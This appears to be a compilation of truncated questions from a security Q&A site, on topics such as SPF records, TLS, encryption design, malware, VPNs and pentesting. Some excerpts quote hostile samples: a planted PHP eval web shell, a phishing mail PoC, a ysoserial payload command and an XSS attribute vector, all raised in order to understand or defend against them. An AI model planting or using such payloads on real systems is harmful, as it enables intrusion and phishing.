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I have some questions about the Ethernet wiretapping attack. I have already created a small lab using a cat5e (downgraded to 100mbit), a cat7 and this as a keystone: link. The lab looks like this:
client --.TAPHERE.--> switch ---> modem
So far I managed to tap the downgraded cat5e, it was easy, but…
Why for every pa... |
I got an email with the following:
I am just looking at your SPF records then found following. SPF Records missing safe check which can allow me to send mail and phish easily any victim.
PoC:
<?php
$to = "VICTIM@example.com";
$subject = "Password Change";
$txt = "Change your password by visiting here - [VIRUS LINK... |
External (other) Mail clients have started to deny/de-list anonymous ciphersuites. But the TLS support is often spotty. Worse, some clients (mainly Windows, which does not care one whit about your RFC specs or lists of common protocols and does its own thing) have started to refuse to send mail when they cannot get an ... |
The OWASP website has a page about Insecure File Uploads which talks about an insecure Apache filesmatch directive:
<FilesMatch ".+\.ph(p([3457s]|\-s)?|t|tml)">
SetHandler application/x-httpd-php
</FileMatch>
I wonder where that example configuration comes from if it's a common one or just a bypass-able configur... |
The web-application I'm working on will allow users to upload files (Word / PDF etc.). I intend to run a clamav scan on the files after upload before anything further is done with them.
From a security perspective is there any diference or advantage to scanning them in the web-server as soon as received (i.e. Node.JS ... |
Do adblockers read your sensitive data?
https://adblockplus.org/
I'm referring to this, its open-source but I feel worried.
|
How can an attacker use a compromised computer to do things over the internet? For example, if an attacker infects a PC with a general payload, other than searching through the computers files and changing things, what else can they do? For instance, can an attacker use a compromised computer to surf the internet? I... |
When reading about mobile security, the attacker is often assumed to have root access to the device, so as to patch the application or proxy all network traffic.
I see that such applications may have generic vulnerabilities, like non-encrypted traffic or insecure storage, but how is the application supposed to stay sec... |
What is the simplest or most common method to read a value, for example a text, from the RAM of a personal computer?
What access requirements are necessary for this? Is a search in a hex dump always required or are there shorter ways?
|
I am interested in the issue of establishing the security of data of users of a web application in the event of a database leak.
It was decided to use the following encryption chain:
User data is encrypted with a user symmetric key (AES)
The user symmetric key is encrypted with the user's RSA public key
The user's pri... |
I’m planning on setting up a network with a custom-built router with pfsense. If I assume the cable modem connected to the router is compromised can a properly configured router ensure security or do I need to turn my custom router into a custom cable modem? I’m only concerned about my data sent and received through th... |
I have a list of people with all their personal information (name, first name, date of birth, email, etc.). I created an account for each of these people in my database. I'm using Firebase.
Since I already have all my users info, I don't want them to type it again when signing up to my website.
So I created a system us... |
I encounter a scenario which the attacker create a .jpg file containing javascript code
and after uploading, the script will be executed on the browser while the .jpg file is displaying.
I configured all xss prevention settings on fortiweb but it cannot detect this one.
What should I do more??
|
I have access to a shared remote machine to execute code and store data, accessible through SSH from my local machine, but I do not have root privileges there. The remote is shared among many users. I usually store code in my personal GitHub account, so I would like to set up GitHub repositories in this remote machine.... |
I was wondering if any can simplify the source maps vulnerability?. I've googled this vulnerability but can't get my head around this. Could anyone please help me to understand this issue and how do I investigate and find the issue?. All I know it's normally a '.map' file, is it correct and normally can be done by addi... |
while coding a simple to-do list app enhanced with (true) end-to-end encryption as a coding exercise, I was wondering if the server-side API code changes from a plain text storage (excepts passwords) to an end-to-end encrypted app.
Indeed, if the data is truly E2EE, everything should be happening on the client side and... |
I was wondering if a server enforces E2EE, should the users provide any kind of authentication?
Indeed, if the data is encrypted, any user could access it but the only person who can actually decrypt and read the content of the message is the person who knows the private key. Why would they need to authenticate themsel... |
We are using RabbitMQ 3.9.5
There is a number of mqtt users that are being created. Each of these users is allowed to send data to its own topic. These users are not supposed to see data of other users.
The topic is /spm/{username}/data So the permissions of the users have {username} in configure regexp, topic permissi... |
Recently my PC fell subject to some malware. The malware is hidden and all the antivirus software can't find/detect it. The things it has done so far is spyware like, it disabled System Restore from the cloud forcing me to do a local reinstall, which the virus can probably attack by attacking the recovery partition. It... |
I was wondering about the design of totp and 2fa. I learned that 2fa is any 2 of the following authentication methods:
Something you know (e.g. a password)
Something you have (e.g. an email address)
Something you are (e.g. biometrics)
Since the generated codes are based on a shared secret, shouldn't totp be considere... |
On my website I found a file containing this code
<?php if(isset($_POST[z]))eval($_POST[z]);?>
It's my understanding that the hacker is using this to execute any PHP command send via a POST request.
I'm trying to see how this file got uploaded but I see no record on the access logs with the filename.
So this was possi... |
I am using FortiAnalyzer-VM64 v6.4.2 GA build2122. Many requests are logged in my firewall/UTM log that are to malicious websites. Although these requests are blocked by the UTM, the problem is that I am having trouble investigating whether these web requests are made through a browser or there is some malware sitting ... |
I'm trying to create application-layer encryption for user data in my database, using password derivation function. But there is a problem, that there must be an admin user, who can access all user's encryption keys, for password reset functionality and some other things. I don't like the fact that all encryption syste... |
I am able to SSH into an Embedded Linux device remotely using a private key with the following command as example (where id_rsa is the private key file):
ssh -i id_rsa root@192.168.30.199
This will be authenticated on the device using the matching public key stored on the device.
What i'm wondering is, must a private... |
I am trying to set up a vulnerable machine running freeSSHd 1.2.6. The Metasploit exploit module fails with the following error:
Server encryption_client preferences: aes128-cbc,3des-cbc,blowfish-cbc,aes192-cbc,aes256-cbc,rijndael128-cbc,rijndael192-cbc,rijndael256-cbc,rijndael-cbc@lysator.liu.se
Client encryption_clie... |
I understand the crackme I am researching is from 2007, however this was the point in my life when I initially became interested in reverse engineering and wish to complete it for nostalgia sake. Following on from this question, I intend to pursue these challenges through more modern avenues that are more beginner frie... |
My website built upon Laravel is currently under attack.
Only the index.php file was changed, and by that I mean that every line of code is inserted above the original Laravel code. So this code executes before the legitimate Laravel code.
It is harming my SEO.
What is causing this massive exploitation?
How do you pro... |
Many resources on the internet state that you should use Access Token and not Id Token to authenticate to an API, but do not provide explicit reasons why. Are there any real drawbacks to use an Id Token for authentication in a case when we control both parts - SPA web frontend and Web API. We can control lifetimes of b... |
I'm storing a list of email addresses and other not personally identifiable information for a mailing list in a database. Since it's for a project related to cryptocurrency, I believe that the information could be a target for future attack. Specific scenarios I am aiming to protect against:
Someone in the shared host... |
So I've been googling around and couldn't find an answer to my question (I don't discount the option that I could be asking the wrong question after all).
I see there is a question that deals with something similar (Established Security Design Patterns?) focused on software development but in my case I am looking for a... |
I have an application and it will be exposed to HTTPs based URL. I want to put a port explicitly. So if I do I can select 8443 port.
https://<IP_ADDRESS>:8443/myApplication
If I don't put a port explicitly then the port will 443.
https://<IP_ADDRESS>/myApplication
What other port I can use? Can I use any port? For ... |
In cryptography, generally we have two ways of handling sensitive information.
We can use one-way encryption such as hashing. This is useful when we never need to retrieve it again. In this case, we can know if we found the right password, but never the original password other than by brute force. Hashing doesn't have ... |
I am working on an older software for a company at the moment and in my work have been upgrading a number of libraries. The app connects to a web service hosted by the third party payment processor, and in doing so it must create a digital signature of the request so that they can identify the merchant.
The gentlemen I... |
My question is whether there is any security feature built-in to the "open-source core" of android to prevent even pre-installed manufacturer apps(for some of which there is no way to revoke permissions as with other apps (do pre-installed manufacturer apps even need the user to grant it permissions? )) from snooping m... |
I work in a software-development company where we have a lot of tech-savvy people.
For ISO27001 certification we need to maintain list of approved software. And I'd like to understand how in practice this list is maintained and enforced?
The problem is that, we can define the list of the main tools used in the company ... |
Is there any way to decode ysoserial .net payload?
For instance
I'm creating payload with:
ysoserial.exe -f BinaryFormatter -o base64 -c "ping test.com" -g WindowsIdentity
Is there any convenient way to reverse the payload to understand which command was encoded.
|
I need to take my personal laptop to the workplace so I will be using their internet that only employees usually use. However, if the network I connected to was malicious, is my data only compromised if I am still connected to the malicious network or would it still be compromised even after I have disconnected and use... |
Some loose reports have indicated that NSA implemented backdoors to some NIST elliptic curves. As far as I understand these do not include P-256, P-384, etc.
From a security standpoint, would it be considered bad practice to use e.g. the curve secp256r1 in our TLS1.2 settings.
For example:
TLS_ECDHE_RSA_WITH_AES_128_GC... |
Could someone be able to find my IP address and where my ISP is located from an anonymous DM on Instagram? (I am planning to instantly deactivate the account after sending the message if that matters.)
If I use a VPN, would they be able to figure that information out and track my general location? (State/city)
I hope s... |
In September 2021 Black Lotus Labs (BLL) posted a blog entry discussing a payload loader that was:
written in Python
compiled to an ELF exe using PyInstaller in Debian in WSL
and "injected into a running process using Windows API calls"
BLL states they were able to develop a proof of concept. However, a post from 201... |
I recently watched a couple of YouTube videos about malware analysis and in most of the cases, the reverse engineer easily found out which IP address the malware connects to.
Usually, there is a link between the IP address and the identity of a person. If one does something illegal (like downloading copyrighted movies)... |
I've been looking into getting a VPS to run an OpenVPN server on and a few other things. I've been speaking to a hosting company and they have sent me this screenshot to show they are protected against all currently known exploits on their hypervisors:
However, protecting against known implementations of the exploits ... |
I have a website in a shared hosting environment, and I'm also planning to back up in multiple locations. All of that introduces vulnerability where the data could get intercepted, stolen, or misused by authorized parties. The data isn't actively used on an ongoing basis, but only used very occasionally.
In order to pr... |
I have a backup server that has a self-signed certificate (x509) and another server on the same network. I would like to rsync data to the backup server from the other server. However, I prefer not to skip ssl verification nor do I want to blindly trust any certificate signed by the backup server's certificate authorit... |
I'm currently using a browser in my virtual machine. My host machine (laptop) is connected to a VPN. I've just been prompted by a website to allow location services in order to use the site. Would the IP address sent be my VPNs? and since I'm using a VM would it send my actual wireless access points and what is the ran... |
I am well aware that the best approach is to update any dependency, no matter whether it is a development dependency or a runtime/production dependency.
But from a research prospective, I want to know whether a vulnerability in development dependencies has the chance to be exploited.
Let's take JavaScript as an example... |
Just finished a simple local file inclusion challenge and I wanted to make sure if I understood the issues around permissions and SSH keys correctly:
-We set private ssh keys to 600 so only the user who owns them can read them. Say we had 777 instead of 600: That means that any user (so for example, www-data) can read ... |
(shown in step 1): Is the initial process in public key encryption where the public key is transferred across the network done in plaintext? It seems like it must be, which essentially means that no matter if a victim is using HTTPS or a VPN on a public network, if the initial process is done in plain text, than a midd... |
For context; I have a web application that allows users to upload a PDF file from which the web app extracts certain information by parsing it. The app then sends this information to another server for further processing.
The web app is based on Python (Django & FastAPI) and runs on a Linux-based operating system insid... |
The first time I connect via SSH, a "fingerprint" appears. How can I be sure that it belongs to my server/router/etc. and has not been tampered with by a fraudster (MITM)?
For example, for key-based authentication, I decide to send the public key to the remote router.
ssh-copy-id -f root@123.123.123.123 < /dev/null
In ... |
My tech support company now has access to my computer 24/7... instead of our old system where I would email them, set an appointment, and then I would grant them permission to access my computer. A pop-up does appear when they are on screen, but they can close that pop-up down. So my concern is that they can access m... |
Is it possible that SIP tools like sipvicious and other SIP tools work on SIP-TLS networks where all of the devices (IP-Phones) have a certificate verify feature?
|
I have a professional laptop for working at the office and at home. There is a VPN to connect to my work network.
I know that my employer can see which URL I visit even in incognito mode because all the connections are going through my work network.
I was wondering what if I install a VPN plugin directly on my web brow... |
I am trying to change the password hashing scheme for LDAP. Hypothetically, let's assume it's pw-argon.so
I don't have slapd.conf I have the slapd.d directory where I can make changes dynamically to the daemon.
What changes do I have to make in the cn= config DIT so that I can put that hashing algorithm into action wi... |
I'm working on a photo sharing app that stores files in the cloud, encrypted, and lets you share those files with others. To do that, as suggested in answers to this previous question:
files are encrypted locally with a (random) symmetric key, then uploaded
then this first key is encrypted for each recipient using a s... |
Last year, my friend who is learning hacking for nearly 3 years hacked my phone using social engineering by installing some malware in my phone. (After researching on Google, I think it might be a reverse meterpreter)
As soon as I realized that my phone has infected after one hour since malware was installed, I scanned... |
I am trying to understand the security concerns related to using the private network provided by my hosting ISPs.
The ISPs offer a private network feature that only my VPS instances are connected to. The private networks only support IPv4 and only servers within the same physical location.
I am already trusting the ISP... |
How do Android devices (at least all the non-enterprise personal devices I remember owning) display the wallpaper (usually chosen from the 'downloads' folder) on the lock screen when it first is turned on if the image file is supposed to be encrypted and therefore inaccessible/off-limits until after the password/pin/pa... |
An enterprise has its internal PKI-1 (Root CA) that issues certificates to sign document using CAdES-C (CAdES-LT); with Complete Validation Data References and revocation references.
Now this enterprise has to switch to new external PKI-2 (new Root CA) for the issuing of digital signing certificates. The private keys w... |
As i understand it, PKI with an asymetric key approach is much more secure than a symetric key encryption. The keys are much bigger but it takes more CPU power to en- and decrypt. So why do we exchange the pre-master secret? couldnt we just encrypt the shared secret (key for symetric encryption)? The client could come ... |
One of the raised issues for a Web API is that for an e-mail based authentication (e-mail and password) the Register user method returns something like "the registration e-mail has been sent" regardless of the e-mail being used or not for an account:
there is no account using that e-mail: the e-mail is actually sent a... |
Let's assume we have REST API in which you accept GET and POST HTTP requests without the ability to execute files.
Is it possible to execute malware in this scenario?
Would there be any justifiable benefit of malware scanning of such endpoints?
|
Since Secure Boot authenticates software, the OS only needs to check hardware. The implementation I have in mind measures hardware and compares the result of the measurement to the value in an EFI NVRAM variable. If they differ, the OS halts. This comparison can be inserted into a Linux initramfs, for example. Is such ... |
I have a .zip file and I want to crack its password using john.
first I use zip2john:
then I use john for cracking the password:
but after 10 seconds, john stop cracking and exit.
what's wrong?
|
Background.
Context. I use Firefox, Google Chrome, or Chromium on Linux.
Question. How to have my browser resist the JA3 fingerprint, so that sites don't identify me by it?
Thoughts. I guess it may involve a way to randomise the way my client negotiates TLS connections? Any way to randomise the content of my TLS HELLO ... |
I have a question about implementing user password-based encryption in a database injunction with the Social Login feature.
User private data in my database should be encrypted in order to provide security at rest, and for that, I'm planning to use a user password-derived key.
Also, my application will need the Social ... |
Can someone please explain to me the difference between the USB Rubber Ducky and the Bash Bunny? I understand that the Bash Bunny can emulate more trusted devices then just the keyboard like the USB Rubber Ducky, but why does that make it more dangerous for a lack of a better word at the moment?
What can be done with t... |
Not fully sure if these types of questions are allowed here, but don't see anything against it in the help centre so I'm assuming it is. Please point me to a better place to ask if it's not!
I'm making an account system for my website and trying to do my best to protect accounts from several types of attacks but a bit ... |
Just want to settle a debate I'm having with someone.
Suppose there is no SOP. Via an XSS exploit, code can run on website A.com and submit an XHR request to B.com. Suppose B.com stores an auth token in an HTML page (maybe to interface with WASM/Flash/Java applet) and this data is read. Then CSRF can be used with this ... |
I have this recent Wikipedia certificate issued by intermediate CA Let's encrypt:
Certificate:
Data:
Version: 3 (0x2)
Serial Number:
03:95:2f:46:69:de:e4:d2:19:35:7f:f0:27:6a:fa:fe:09:cb
Signature Algorithm: sha256WithRSAEncryption
...
...
...
Signature Algorithm: sha256With... |
I want to create an internet forum where users can copy and paste links to external URLs within a thread. What measures should be taken to lessen the likelihood that links posted do not have malicious intent?
|
My goal is to ensure that two operating systems installed side-by-side on the same device are unable to return the same canvas fingerprint, when a modern browser is allowed to run javascript without any anti-fingerprint restrictions in place.
this question is with respect to canvas fingerprinting, whereby an adversary... |
If we intercept Google account creation form using burp and change any form data, even a single character in the first name and forward the request will result in to "Some thing went wrong" page Can any one point me some guidance or resource to refer on getting some idea on how beautifully Google is handling this. If w... |
I'm a newbie ethical hacker and bug bounty hunter. Lets, assume my target is somethingtohack.com, the thing is the company's scope defines that the main domain is out of scope, but subdomains like subdomain.somethingtohack.com are in scope, and while hunting I've discovered an SSTI which is leading to RCE in the main d... |
We received recently security report with [low] security issue: Missing "Must-Staple" extension on certificate.
With help of old article oscp-must-staple I managed to create CRA with extension.
Requested Extensions:
X509v3 Basic Constraints:
CA:FALSE
X509v3 Key Usage:
Digital Signature, Non Repudiation, Key... |
Paying with credit card's NFC. I know about tokenization and all that, but does that actually protect my card against theft when the terminal is malicious?
|
I have the following SPF record:
v=spf1 include:_spf.mailspamprotection.com include:_spf.google.com ip4:209.85.220.0/24 ~all
Although I have included _spf.mailspamprotection.com in my SPF record, which includes ip4:146.66.121.0/24, I get SPF Fail from delivery.mailspamprotection.com IP:146.66.121.100. I have the same ... |
I am trying to understand what does SOP mean? If there are two sites such as example1.com and examole2.com what are the dangers can one of them cause to the other? Like stealing what, received what?! So SOP exists to prevent that catastrophe to happen.
Thanks in advance
|
When I open up my macro-enabled office files (i.e., .docm, .xlsm, .pptm) that contain signed macros as a Zip file, I see the following three files which I assume contain the digital signatures for the macro:
vbaProjectSignature.bin
vbaProjectSignatureAgile.bin
vbaProjectSignatureV3.bin
Each file contains binary data,... |
Is there software available that makes it easy for multiple authorisations to be required before a file can be opened? The simplest solution I've found online is to encrypt a file with a password, split the passwords into multiple pieces and give each user a password fragment, but this requires them all to be physicall... |
I have published my gpg key on keys.openpgp.org, keyserver.ubuntu.com, and my own WKDs corresponding to each of the two email addresses on my own domains.
Another user updated my public key from my WKD (per my instruction using gpg --auto-key-locate clear,nodefault,wkd --locate-key <email address>), certified it, and s... |
this is purely an exploratory question.
If this is not the right place to ask for it,
please point me to the right one.
TLS version: TLS 1.2
CIPHER SUITE : TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384
(any cipher suite that involves creation of a pre-master secret)
Note: I understand in TLS 1.3 , the handshakes are encrypted ... |
When im doing a penitent, I noticed the application takes the user input and put it in a tag. When I used the string of '';!--"<XSS>=&{()}, I noticed the returned output (when viewing in page source) is '';!--"<XSS>=&{()},. I think that means only < and > and & are encoded.
Another instance I found is user ... |
Recently, GitLab[1] and GitKraken[2] notified users about a vulnerability in GitKraken version v in range 7.6.0<=v<=8.0.0. Those versions are affected by CVE-2021-41117[3] and therefore, generate weak SSH keys. Now, as an administrator of a GitLab instance, I want to know, if any of my users use weak keys generated by ... |
I was reading the following question:
Why do mobile devices force user to type password after reboot?
To find out why fingerprint authentication on my Windows 10 laptop isn't an option on startup. It turned out to be because it did not meet the following requirements:
On each entry, the device must transform the pass... |
I have a simple file server running on a small Ubuntu machine that facilitates file sharing and 2 way folder syncing between my and my girlfriend's 4 computers through SFTP over a private network.
The setup works great for this purpose. I like how simple it is and the idea that I could easily and securely allow access ... |
I am currently trying to solve the RazorBlack room on tryhackme. After enumerating the machine, I created a list of valid usernames and was also able to crack the password of one of the users. Now I want to check if one of the users is using the same password. For this I executed the following command:
crackmapexec smb... |
I am creating a cross-platform application, in which I am encrypting all data using AES-GSM.
So my problem is that I want to store private keys locally on the user's device (either Android, IOS, Web, etc.). But Since for login I have multiple options i.e either biometric(in case of offline), PIN, OTP, Email-Password, o... |
I was learning volatility and in this room in tryhackme they used psxview to find the hidden processes.
The assignment was,
It's fairly common for malware to attempt to hide itself and the
process associated with it. That being said, we can view intentionally
hidden processes via the command psxview. What process has ... |
My question is about what exploits are possible given the following, not how to prevent SQL injection. I would not use this code in a real application.
Using MSSQL Server 2019, imagine a stored procedure for a search that does something like:
DECLARE @keyword varchar(30); -- are there keyword values can cause injection... |
I'm studying iot Secure knowledge.
I find that people say that TLS/DTLS can provid e2e security but in HTTP diagram it will stop at Server.
A->Server->B and data at Server will be decrypted.
In my opinion TLS in web use this diagram because TLS usually need a Fix ip point(Usually Server), in IPv4 environment client oft... |
One the Hashicorp Vault basic feature is secret leasing. They state:
Leasing and Renewal: All secrets in Vault have a lease associated with them. At the end of the lease, Vault will automatically revoke that secret. Clients are able to renew leases via built-in renew APIs.
At the top of my head, I compare such featur... |
So I am writing a password manager (mostly low value, application specific passwords) for a game. I need a way to store a password safely. Light reading suggests using a key derivation function (like pbkdf2), and then encrypt the password using that key (using an algorithm such as AES256).
The KDF takes in a salt, and ... |
I lent my old laptop to a person who was in need of it in order to work abroad during autumn. Recently though, I learnt from a trusted source that his father had faced trouble with the police in the past due to some minor illegal activities. His parents are divorced. He seems a great guy and I do not think he maintains... |
While I'm pen testing, I came across these values mapping to a store ID. These values are gathered across three different accounts.
0015400000jpjcEAAQ
0015400000jrjH7AAI
0015400000jtDS9AAM
It's not a hash or base64. It doesn't look encrypted either as there are 10-bytes static values. The last 8-bytes tho, what can I ... |
How to configure snort 3 to detect nmap's port scanning? For instance I want to know that an external machine A is looking with nmap for open ports on my machine B.
Such a port scan can include all ports incl. of the services available behind it with version (see nmap -A ). If port scanning is dectected I want to log i... |
I understand there is entry node, middle node and exit node when a user accesses an internet resource like https://www.google.com while coeected to the tor network.
Is the concept the same if the user, while within the tor network, visits a resource within the tor network like http://rfyb5tlhiqtiavwhikdlvb3fumxgqwtgxna... |
At work we are using a secure file transfer utility that, after setting it up, sends you and the participants you want to share those files with, two emails. One email contains the randomised username, another one the password. I understand that this is done to minimise the risk of exposing both pieces of information a... |
I'm trying to apply STRIDE to secure my architecture.
xxx
xxx
xxx
┌──────────┐xx ┌──────────┐
│ node ├─xx──────signals───────► hub │
│ │ x │ │
└───▲──────┘ xx └──────────┘
│ x
│ xx ... |
I have a question regarding the element. I know that this element has been deprecated for a long time, but during a penetration test, we inserted the following attack vector into a textarea:
<plaintext onmouseover="(function(){ console.log(document.domain); })();">
Other attack vectors for XSS are blocked, even HTML ... |
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